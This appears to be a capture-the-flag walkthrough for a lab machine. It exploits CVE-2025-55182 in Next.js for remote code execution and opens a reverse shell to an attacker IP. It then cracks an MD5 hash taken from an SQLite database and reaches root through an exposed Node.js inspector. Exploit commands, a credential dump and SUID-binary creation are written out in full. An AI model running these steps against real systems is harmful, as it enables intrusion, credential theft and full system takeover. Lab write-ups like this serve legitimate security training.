Reconnaissance
Target: 10.129.11.155 (reactor.htb)
Initial Nmap scanning identifies SSH on port 22 and an HTTP service on port 3000.
nmap -p 22,3000 -sC -sV -A 10.129.11.155 -oA detailed -Pn
The application running on port 3000 returns X-Powered-By: Next.js headers and exposes /_next/static/ chunks. Analyzing the stack reveals Next.js 15.0.3.
Exploitation: CVE-2025-55182 (React2Shell)
Next.js 15.0.3 is vulnerable to CVE-2025-55182, an unauthenticated Remote Code Execution flaw targeting React Server Components (RSC) via server-side prototype pollution.
The vulnerability stems from the Flight protocol deserializing payloads without sanitizing property keys. By injecting __proto__ properties in a POST multipart request directed at a Server Function endpoint, an attacker can manipulate module resolution logic to execute arbitrary native functions, such as child_process.execSync.
Using a robust public exploit (e.g., Chocapikk's implementation):
# Clone exploit and setup environment
git clone https://github.com/Chocapikk/CVE-2025-55182
cd CVE-2025-55182
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
# Initial RCE test
python3 exploit.py -u http://reactor.htb:3000 -c "id"
# Output: uid=999(node) gid=988(node) groups=988(node)
# Execute reverse shell
# The exploit automatically sets up a listener, so NC is not required
python3 exploit.py -u http://reactor.htb:3000 -r -l YOUR_IP -p 4444 -P nc-mkfifo
After catching the shell, upgrade it to a fully interactive PTY.
Lateral Movement & Credential Harvesting
Landing as the node user in /opt/reactor-app, a local enumeration uncovers .env configuration files and an SQLite database.
cat /opt/reactor-app/.env
# DB_PATH=/opt/reactor-app/reactor.db
The database (reactor.db) is readable. Querying it extracts hashes:
sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"
# 2|engineer|[REDACTED]|operator|engineer@reactor.htb
The extracted hash is unsalted MD5. Cracking it with hashcat yields the plaintext password immediately:
hashcat -m 0 -a 0 engineer.hash /usr/share/wordlists/rockyou.txt
# Result: [REDACTED]
Leveraging password reuse, authenticate via SSH as the engineer user.
ssh engineer@10.129.11.155
# Password: [REDACTED]
# cat ~/user.txt -> [REDACTED]
Privilege Escalation
The engineer user lacks sudo privileges. Shifting focus to internal processes and listening ports:
ss -tlnp
ps aux | grep -i node
An instance of Node.js is running as root with the debug inspector enabled on localhost:
root 1410 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
LISTEN 127.0.0.1:9229
Abusing Node.js Inspector
The --inspect flag activates Node's built-in debugger, exposing a JavaScript REPL. Since the process runs as root, commands executed within the REPL inherit root privileges.
Connect to the debugger:
node inspect 127.0.0.1:9229
Drop a SUID bash binary via child_process.execSync:
debug> exec process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash').toString()
''
debug> .exit
Gain a root shell and retrieve the final flag:
/tmp/rootbash -p
id # euid=0(root)
cat /root/root.txt # [REDACTED]
Clean up the /tmp/rootbash binary to finalize the engagement.